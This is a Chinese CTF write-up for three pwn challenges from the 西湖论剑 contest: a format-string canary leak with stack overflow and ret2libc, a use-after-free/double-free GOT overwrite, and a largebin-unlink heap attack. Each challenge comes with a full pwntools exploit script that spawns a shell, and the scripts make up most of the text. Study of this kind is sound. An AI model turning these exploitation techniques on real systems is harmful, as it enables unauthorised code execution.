西湖论剑CTF --- pwn

西湖论剑CTF — pwn

story

这道题有两个漏洞点,一个是格式化字符串,一个是stack overflow,这两个洞结合基本就成了,攻击思想就是,先用格式化字符串读取canary,然后再利用栈溢出泄露libc最后ret2libc就可以了,下面是漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# bug 1
char *add()
{
char *v0; // ST08_8
char s; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Please Tell Your ID:");
read__((__int64)&s, 0x32uLL);
v0 = strdup(&s);
printf("Hello ", 50LL);
printf(&s); // format bug
putchar(10);
return v0;
}
# bug 2
char *read_story()
{
__int64 v1; // [rsp+0h] [rbp-A0h]
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v3; // [rsp+98h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Tell me the size of your story:");
v1 = read_story_size_ret_strtoll();
if ( v1 < 0 )
v1 = -v1;
if ( v1 > 128 )
v1 = 1024LL; // overflow
puts("You can speak your story:");
read__((__int64)&s, v1);
return strdup(&s);
}

下面是详细的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import random
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import sys


local = 1
debug = 1

if debug:
context(os = "linux",arch="amd64")#,aslr="False")
#context.log_level = "debug"
else:
pass

if local:
p = process("./story")#,env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
else:
p = remote("ctf1.linkedbyx.com",10085)

elf = ELF("story")

main = 0x400876
start = 0x0400780
pop_rdi = 0x0000000000400bd3
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)
p.recvuntil(".")
p.recvuntil(".")
data2 = int(p.recvuntil(".",drop=True),16)
data3 = int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xc1)
p.sendline(size)
p.recv()
payload = "a"*0x80 + p64(0) + p64(data2) + p64(data3)
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)+ p64(start)

p.sendline(payload)

data = u64(p.recvn(6).ljust(8,"\x00"))

print("read got = " + str(hex(data)))

libc_base = data - 0x0f7250
system = libc_base + 0x045390
binsh = libc_base + 0x18cd57
print "libc_base = " + str(hex(libc_base))
p.recvuntil("ID:")
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)

p.recvuntil(".")
p.recvuntil(".")
data2 = int(p.recvuntil(".",drop=True),16)
data3 = int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xb1)
p.sendline(size)
p.recv()
print("system = " + str(hex(system)))
print("binsh = " + str(hex(binsh)))
pause()
payload = "a"*0x80 + p64(0) + p64(data2) + p64(data3) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)

p.interactive()

noinfoleak

这道题主要是跟题目说的noinfoleak,没有任何返回信息,难点就在这,checksec看一下保护pie没有开,got表也可以写。然后漏洞点主要在delete那里free之后没有把chunk数组指针清零,同时add的时候限制了分配堆块的大小,因此思路大概就确定了,主要是一个UAF利用。首先利用double free在bss段上分配一个大小为0x70的堆块(这里注意要找准偏移,伪造一个相应大小的堆头结构),主要是为了控制list,这样modify就可以直接改某个地址的内容,这样我们就有任意地址写了;然后我们把got表中free改成puts的plt表,这样一来我们free的时候就可以泄露对应libc的地址了(当然要把free那个地方的指针(bss上的list)改成got表地址)。这样我们就有任意地址读,最后再把free的got表改成system就可以getshell了。
下面是详细脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

# context.log_level = 'DEBUG'
p = process('./noinfoleak')#,env={'LD_PRELOAD':'./libc.so.6'})
#p = remote('ctf3.linkedbyx.com',11056)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size, content):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(size))
sleep(0.2)
p.recvuntil('>')
p.send(content)
sleep(0.2)

def modify(idx, content1):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
p.send(content1)

def delete(idx):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(idx))

free_got = 0x601018
puts_got = 0x601028
puts_plt = 0x4006B0
malloc_got = 0x601058
free_plt = 0x400690
# 0x6010A0
create(0x60, 'A'*32) # chunk_0
create(0x60, 'B'*32) # chunk_1
pause()
create(0x60, '/bin/sh\x00') # chunk_2

p.sendline('ss')
sleep(0.2)

delete(0)
delete(1)
delete(0)

create(0x60, p64(0x60108d))
# header -> 1 -> 0 -> 0x60108d
create(0x60, 'A'*32) #4
# header -> 0 -> 0x60108d
create(0x60, 'A'*32) #5

# header -> 0x60108d
create(0x60, "A"*3 + p64(free_got) + p64(20) + p64(malloc_got) + p64(0x20)) #9
modify(0,p64(0x4006B0))

delete('1')
p.recvuntil('>')
data = u64(p.recv()[0:6] + '\x00\x00')
libcbase = data - 0x84130
print("libc = " + hex(data))
print("libcbase = " + hex(libcbase))

one_gadget = libcbase + 0xf1147
malloc_hook = libcbase+0x3c4b10
free_hook = libcbase + 0x3c67a8
system = libcbase + 0x45390

print("malloc_hook = " + hex(malloc_hook))

#modify(6,"A"*3 + p64(malloc_hook) + p64(20))
p.sendline('3')
p.recvuntil('>')
p.sendline(str(6))
p.recvuntil('>')
p.send("A"*3 + p64(free_got) + p64(20))

modify(0,p64(system))
#gdb.attach(p,'b *0x00000000004009d9\nb *0x0000000000400a23\nb *0x400a1e\n')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(2))

p.interactive()

Storm_note

跟0ctf的heapstorm2题目一样,直接就是一个largebin的unlink修改0xabcd0100位置的内容,然后“666”后门直接getshell。
这种利用方法在三月刷题记录也有提过。
这种利用方法all in glibc2.23(难怪他给了libc)
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1

if local:
p = process("./Storm_note")#,env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF("./Storm_note")
#libc = ELF('./libc_x64.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('chall.pwnable.tw',10001)
elf = ELF("./Storm_note")
#libc = ELF('./libc-2.23.so')

def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))

def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)

def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))

add(0x18) #0
add(0x508) #1
add(0x18) #2
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size first

add(0x18) #3
add(0x508) #4
add(0x18) #5
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size first
pause()
add(0x18) #6

# first time
dele(1) # delete second
edit(0, 'h'*(0x18)) #off-by-one last
add(0x18) #1 repair it
add(0x4d8) #7 Fill the freed chunk all
dele(1)
dele(2) #backward consolidate
add(0x38) #1
add(0x4e8) #2

# second time
dele(4) # delete second
edit(3, 'h'*(0x18)) #off-by-one last
add(0x18) #4
add(0x4d8) #8
dele(4)
dele(5) #backward consolidate
add(0x48) #4 why 0x48

# get two overlapping chunk7 chunk8

# why did next 3 steps
dele(2)
add(0x4e8) #2
dele(2)

storage = 0xabcd0100
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
edit(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)

add(0x48)
edit(2,p64(0)*8)

p.sendline('666')
p.send('\x00'*0x30)

p.interactive()

比赛感想与总结

感想就是这次比赛在做noinfoleak的时候太急了。然后做延续到最后一题的时候也是很急,这个利用方法明明之前学过了的。就是想不起来,感觉原因在于之前没有注意到largebin unlink这个利用是在glibc2.23中实现的。